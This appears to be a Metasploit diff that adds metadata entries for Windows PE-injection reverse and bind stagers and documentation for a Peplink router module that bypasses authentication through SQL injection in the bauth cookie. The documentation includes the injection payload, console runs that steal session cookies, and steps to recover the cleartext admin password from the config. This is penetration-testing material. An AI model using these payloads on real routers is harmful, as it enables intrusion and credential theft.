"name": "Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)",
"fullname": "payload/windows/peinject/reverse_ord_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"spoonm <spoonm@no$email.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb",
"is_install_path": true,
"ref_name": "windows/peinject/reverse_ord_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/reverse_tcp": {
"name": "Windows Inject PE Files, Reverse TCP Stager",
"fullname": "payload/windows/peinject/reverse_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/peinject/reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/reverse_tcp_allports": {
"name": "Windows Inject PE Files, Reverse All-Port TCP Stager",
"fullname": "payload/windows/peinject/reverse_tcp_allports",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Try to connect back to the attacker, on all possible ports (1-65535, slowly)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb",
"is_install_path": true,
"ref_name": "windows/peinject/reverse_tcp_allports",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/reverse_tcp_dns": {
"name": "Windows Inject PE Files, Reverse TCP Stager (DNS)",
"fullname": "payload/windows/peinject/reverse_tcp_dns",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"RageLtMan"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb",
"is_install_path": true,
"ref_name": "windows/peinject/reverse_tcp_dns",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/reverse_tcp_rc4": {
"name": "Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/windows/peinject/reverse_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"RageLtMan"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/peinject/reverse_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/reverse_tcp_rc4_dns": {
"name": "Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)",
"fullname": "payload/windows/peinject/reverse_tcp_rc4_dns",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"RageLtMan"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb",
"is_install_path": true,
"ref_name": "windows/peinject/reverse_tcp_rc4_dns",
"check": false,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/reverse_tcp_uuid": {
"name": "Windows Inject PE Files, Reverse TCP Stager with UUID Support",
"fullname": "payload/windows/peinject/reverse_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"OJ Reeves"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker with UUID Support",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/peinject/reverse_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/pingback_bind_tcp": {
"name": "Windows x86 Pingback, Bind TCP Inline",
"fullname": "payload/windows/pingback_bind_tcp",
@@ -166911,6 +167814,359 @@
},
"needs_cleanup": false
},
"payload_windows/x64/peinject/bind_ipv6_tcp": {
"name": "Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager",
"fullname": "payload/windows/x64/peinject/bind_ipv6_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for an IPv6 connection (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/peinject/bind_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/x64/peinject/bind_ipv6_tcp_uuid": {
"name": "Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support",
"fullname": "payload/windows/x64/peinject/bind_ipv6_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for an IPv6 connection with UUID Support (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/x64/peinject/bind_ipv6_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/x64/peinject/bind_named_pipe": {
"name": "Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager",
"fullname": "payload/windows/x64/peinject/bind_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"UserExistsError"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a pipe connection (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 17:37:33 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/x64/peinject/bind_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/x64/peinject/bind_tcp": {
"name": "Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager",
"fullname": "payload/windows/x64/peinject/bind_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/peinject/bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/x64/peinject/bind_tcp_rc4": {
"name": "Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/windows/x64/peinject/bind_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"max3raza",
"RageLtMan"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-06-04 07:13:34 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/x64/peinject/bind_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/x64/peinject/bind_tcp_uuid": {
"name": "Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)",
"fullname": "payload/windows/x64/peinject/bind_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection with UUID Support (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/x64/peinject/bind_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/x64/peinject/reverse_named_pipe": {
"name": "Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager",
"fullname": "payload/windows/x64/peinject/reverse_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"OJ Reeves"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker via a named pipe pivot",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-08-15 18:10:44 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/x64/peinject/reverse_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/x64/peinject/reverse_tcp": {
"name": "Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager",
"fullname": "payload/windows/x64/peinject/reverse_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/peinject/reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/x64/peinject/reverse_tcp_rc4": {
"name": "Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/windows/x64/peinject/reverse_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"max3raza",
"RageLtMan"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-03-04 17:43:15 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/x64/peinject/reverse_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/x64/peinject/reverse_tcp_uuid": {
"name": "Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)",
"fullname": "payload/windows/x64/peinject/reverse_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker with UUID Support (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/x64/peinject/reverse_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/x64/pingback_reverse_tcp": {
"name": "Windows x64 Pingback, Reverse TCP Inline",
"fullname": "payload/windows/x64/pingback_reverse_tcp",
@@ -176133,7 +177389,7 @@
"zeroSteiner <zeroSteiner@gmail.com>",
"mubix <mubix@hak5.org>"
],
"description": "This module will attempt to enumerate which patches are applied to a windows system\n based on the result of the WMI query: SELECT HotFixID FROM Win32_QuickFixEngineering.",
"description": "This module will attempt to enumerate which patches are applied to a windows system\n based on the result of the WMI query: SELECT HotFixID, InstalledOn FROM Win32_QuickFixEngineering.",
"references": [
"URL-http://msdn.microsoft.com/en-us/library/aa394391(v=vs.85).aspx"
],
@@ -176143,7 +177399,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-01-14 20:49:39 +0000",
"mod_time": "2020-09-02 11:33:50 +0000",
"path": "/modules/post/windows/gather/enum_patches.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_patches",
@@ -176176,7 +177432,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-09-05 10:43:41 +0000",
"path": "/modules/post/windows/gather/enum_powershell_env.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_powershell_env",
@@ -0,0 +1,430 @@
## Vulnerable Application
### Introduction
This module exploits an SQLi vulnerability in the web interface of Peplink
routers running outdated firmware (confirmed on version 7.0.0-build1904 and below).
The vulnerability is due to the lack of sanitization applied to the bauth cookie,
Successful exploitation of the vulnerability allows unauthenticated attackers to get
into sessions of legitimate users (bypassing authentication).
Exploitation of this vulnerability requires that there is at least one active user session
created in the last 4 hours (or session lifetime if it was modified).
## Verification Steps
## Options
### BypassLogin
If true, don't retrieve cookies, just use the SQL injection vulnerability to bypass the login
In the case where expired and non-expired admin sessions exist, might select the expired session if enabled.
### AdminOnly
Only attempt to retrieve cookies of privilegied users (admins)
### EnumPrivs
Retrieve the privilege associated with each session
### EnumUsernames
Retrieve the username associated with each session
### LimitTries
The max number of sessions to try (from most recent), set to avoid checking expired ones needlessly
## Scenarios
Vulnerable firmware downloadable from [here](https://www.peplink.com/support/downloads/archive/).
It's possible to reproduce the vulnerability without owning a peplink router, using
[FusionHub](https://www.peplink.com/products/fusionhub/).
Refer to its installation guide, use a free Solo license.
### Firmware version 6.3.2
BypassLogin:
```
msf5 auxiliary(gather/peplink_bauth_sqli) > set BypassLogin true
msf5 auxiliary(gather/peplink_bauth_sqli) > run
[*] Running module against 192.168.1.254
[+] Target seems to be vulnerable
[*] Checking for admin cookie : ' or id IN (select s.id from sessions as s left join sessionsvariables as v on v.id=s.id where v.name='rwa' and v.value='1')--
[+] Retrieved config, saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkconfigur_203870.bin
[*] Retrieving fhlicense_info
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkfhlicens_829403.txt
[*] Retrieving sysinfo
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinksysinfo_824042.txt
[*] Retrieving macinfo
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkmacinfo_992224.txt
[*] Retrieving hostnameinfo
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkhostname_183370.txt
[*] Retrieving uptime
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkuptime_523334.txt
[*] Retrieving client_info
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkclient_i_704361.txt
[*] Retrieving hubport
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkhubport_264378.txt
[*] Retrieving fhstroute
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkfhstrout_701714.txt
[*] Retrieving ipsec
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkipsec_664157.txt
[*] Retrieving wan_summary
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkwan_summ_936160.txt
[*] Retrieving firewall
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkfirewall_270172.txt
[*] Retrieving cert_info
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkcert_inf_201536.txt
[*] Retrieving mvpn_summary
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkmvpn_sum_261747.txt
[*] Auxiliary module execution completed
msf5 auxiliary(gather/peplink_bauth_sqli) >
```
The config is a .tar.gz archive with an added 36-byte header, you can extract the plaintext config:
```
$ dd if=20200802_fshhw1_1135E8A0DD29.conf of=config.tar.gz skip=36 bs=1
$ tar vxf config.tar.gz
```
The config usually includes the admin password in cleartext.
Note: it's also possible to upload a modified config.
```
$ cat config
ADMIN_HTTPS_ENABLE="yes"
ADMIN_HTTPS_LANONLY="no"
ADMIN_HTTPS_PORT="443"
ADMIN_HTTP_ENABLE="yes"
ADMIN_HTTP_TO_HTTPS="yes"
ADMIN_LANONLY="no"
ADMIN_NAME="admin"
ADMIN_PASSWORD="mySECUREpassword1"
ADMIN_PORT="80"
ADMIN_ROA_PASSWORD="user"
ADMIN_SESSION_TIMEOUT="14400"
CONFIG_VERSION="6.0"
DHCP_SERVER="enable"
FIREWALL_IDS="yes"
HOSTNAME="peplink"
IPSEC_NAT="yes"
LAN_CONN_METHOD="static"
LAN_IPADDR="192.168.1.254"
LAN_NETMASK="255.255.255.0"
LEFTTIME_USAGE="yes"
...
```
EnumPrivs and EnumUsernames:
```
msf5 auxiliary(sqli/peplink_bauth_sqli) > set EnumPrivs true
EnumPrivs => true
msf5 auxiliary(sqli/peplink_bauth_sqli) > set EnumUsernames true
EnumUsernames => true
msf5 auxiliary(sqli/peplink_bauth_sqli) > run
[*] Running module against 192.168.1.254
[+] Target seems vulnerable
[*] There are 2 (possibly expired) sessions
[*] Trying the ids from the most recent login
[+] Found cookie wPJLPS6lqt8Ushwz1tlmz5tRbvI1ybwWRaBx2GRi3Qcu8, username = user, with read-only permissions
[+] Found cookie aLvFyqho3JYoYSc7EROYWU5A7c4pz9IwV66mvnIzYwMPr, username = admin, with read/write permissions
[*] Checking for admin cookie : wPJLPS6lqt8Ushwz1tlmz5tRbvI1ybwWRaBx2GRi3Qcu8
[*] Checking for admin cookie : aLvFyqho3JYoYSc7EROYWU5A7c4pz9IwV66mvnIzYwMPr
... <as above, gathering of data>
[*] Auxiliary module execution completed
msf5 auxiliary(sqli/peplink_bauth_sqli) >
```
Verbose:
When you enable verbose, you get the parsed XML document displayed.
```
msf5 auxiliary(gather/peplink_bauth_sqli) > set Verbose true
msf5 auxiliary(gather/peplink_bauth_sqli) > set BypassLogin true
msf5 auxiliary(gather/peplink_bauth_sqli) > run
[*] Running module against 192.168.1.254
[+] Target seems to be vulnerable
[*] Checking for admin cookie : ' or id IN (select s.id from sessions as s left join sessionsvariables as v on v.id=s.id where v.name='rwa' and v.value='1')--
[+] Retrieved config, saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkconfigur_780974.bin
[*] Retrieving fhlicense_info
[+] data
[+] license
[+] bandwidth
[+] 0
[+] sessions
[+] 0
[+] err_desc
[+] Virtual machine server changed.
[+] force_lic_page
[+] 1
[+] activated
[+] 0
[+] vm_server_address
[+] expired
[+] 0
[+] license_type
[+] Invalid
[+] expiry_date
[+] 2021-08-02
[+] sn
[+] 1135-E8A0-DD29
[+] license_key
[+] YCB7EAN54FAEMTDF
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkfhlicens_867800.txt
[*] Retrieving sysinfo
[+] data
[+] sysinfo
[+] legal
[+] company
[+] Peplink
[+] mvpn_version
[+] 5.0.0
[+] version
[+] 6.3.2 build 1424
[+] serial
[+] 1135-E8A0-DD29
[+] product_code
[+] hardware_revision
[+] 1
[+] desc_support
[+] product_name
[+] Peplink FusionHub
[+] name
[+] 1135-E8A0-DD29
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinksysinfo_739792.txt
[*] Retrieving macinfo
[+] data
[+] macinfo
[+] port {id=0}
[+] mac
[+] 08:00:27:52:8b:fc
[+] name
[+] WAN
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkmacinfo_307720.txt
[*] Retrieving hostnameinfo
[+] data
[+] hostname_info
[+] hostname
[+] 1135-e8a0-dd29
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkhostname_534719.txt
[*] Retrieving uptime
[+] data
[+] subscription_mode
[+] systime
[+] Sun Aug 02 14:31:21 CET 2020
[+] uptime
[+] elapsed
[+] 2986
[+] info
[+] 0 days 0 hours 49 minutes
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkuptime_233915.txt
[*] Retrieving client_info
[+] data
[+] client_status
[+] reserved_mac
[+] client_list
[+] client {type=0}
[+] rate_down
[+] 0
[+] rate_up
[+] 0
[+] active
[+] mac
[+] 10:08:B1:CC:97:41
[+] ip {id=0}
[+] 192.168.1.222
[+] ipn
[+] 3232235998
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkclient_i_419158.txt
[*] Retrieving hubport
[+] data
[+] port {id=wan}
[+] mvpn_advertise_wan_network
[+] tcpmss
[+] mtu
[+] 1440
[+] pppoe_sn
[+] pppoe_password
[+] pppoe_user
[+] dns_custom_servers
[+] 8.8.8.8 1.1.1.1
[+] dns_auto
[+] dhcp_hostname
[+] dhcp_client_id
[+] mvpn_default_to_lan
[+] gateway
[+] 192.168.1.1
[+] netmask
